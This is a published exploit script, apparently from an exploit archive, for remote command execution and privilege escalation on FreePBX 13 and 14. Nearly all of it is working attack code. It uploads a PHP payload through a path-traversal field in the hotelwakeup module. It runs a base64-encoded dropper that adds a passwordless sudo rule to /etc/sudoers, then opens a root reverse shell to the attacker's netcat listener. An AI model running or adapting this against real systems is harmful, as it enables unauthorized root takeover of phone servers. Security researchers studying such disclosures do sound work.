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FreePBX 10.13.66 Remote Command Execution / Privilege Escalation

Posted on 23 October 2016

#!/usr/bin/env python
'''
Title | FreePBX 13 Remote Command Execution and Privilege Escalation
Date | 10/21/2016
Author | Christopher Davis
Vendor | https://www.freepbx.org/
Version | FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)
Tested on | http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso
http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso
Purpose | This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root
Usage | python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r
Orig Author | pgt - nullsecurity.net
'''
import re
import subprocess
import argparse
import random
import time
import socket
import threading

#This portion will check for requests and prompt user to install it if not already
try:
import requests
except:
try:
while True:
choice = raw_input('Requests library not found but is needed. Install? 'Y'es or 'N'o?
:')
if choice.lower() == 'y':
subprocess.call('pip install requests',shell=True)
import requests
break
elif choice.lower() == 'n':
exit()
else:
continue
except Exception as e:
print(e)
exit()

#Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind
def delayGet():
global args
try:
time.sleep(5)
requests.get(args.url+ '0x4148.php.call', verify=False)
except:
pass

if __name__ == '__main__':
try:
parser = argparse.ArgumentParser()
parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url')
parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost')
parser.add_argument('-p', type=str, help='port to listen on', dest='lport')
parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell')
parser.add_help
args = parser.parse_args()

#Make sure args were passed
if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)):
parser.print_help()
print("
Usage: python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444")
exit()

#Make sure the http url is there
if bool(re.search('[hH][tT][tT][pP][sS]?://', args.url)) == False:
print('There is something wrong with your url. It needs to have http:// or https://

')
exit()

#make sure / is there, if not, put it there
if args.url[-1:] != '/':
args.url += '/'
#python -c 'import pty; pty.spawn("/bin/sh")'
#this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies

#if version 13, lets try to get root, otherwise
if args.shell.upper() == 'R':
cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>'
else:
cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>"

#creates a session
session = requests.Session()
print('
Starting Session')
session.get(args.url, verify=False)
print('
Scraping the site for a cookie')
HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'}
print('
Posting evil php')
postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell}
result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False)
if 'Whoops' not in result.text:
print(result.text)
print('
Something Went wrong. Was expecting a Whoops but none found.')
exit()
#calls the get thread which will execute 5 seconds after the netcat bind

print('
Starting new thread for getting evil php')
z = threading.Thread(target=delayGet)
z.daemon = True
z.start()

print('
Binding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.
')
#This binds our terminal with netcat and waits for the call back
try:
subprocess.call('nc -nvlp '+args.lport, shell=True)
except Exception as e:
print(e)
print('
If you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.')
except Exception as e:
print(e)
print('
See above error')

 

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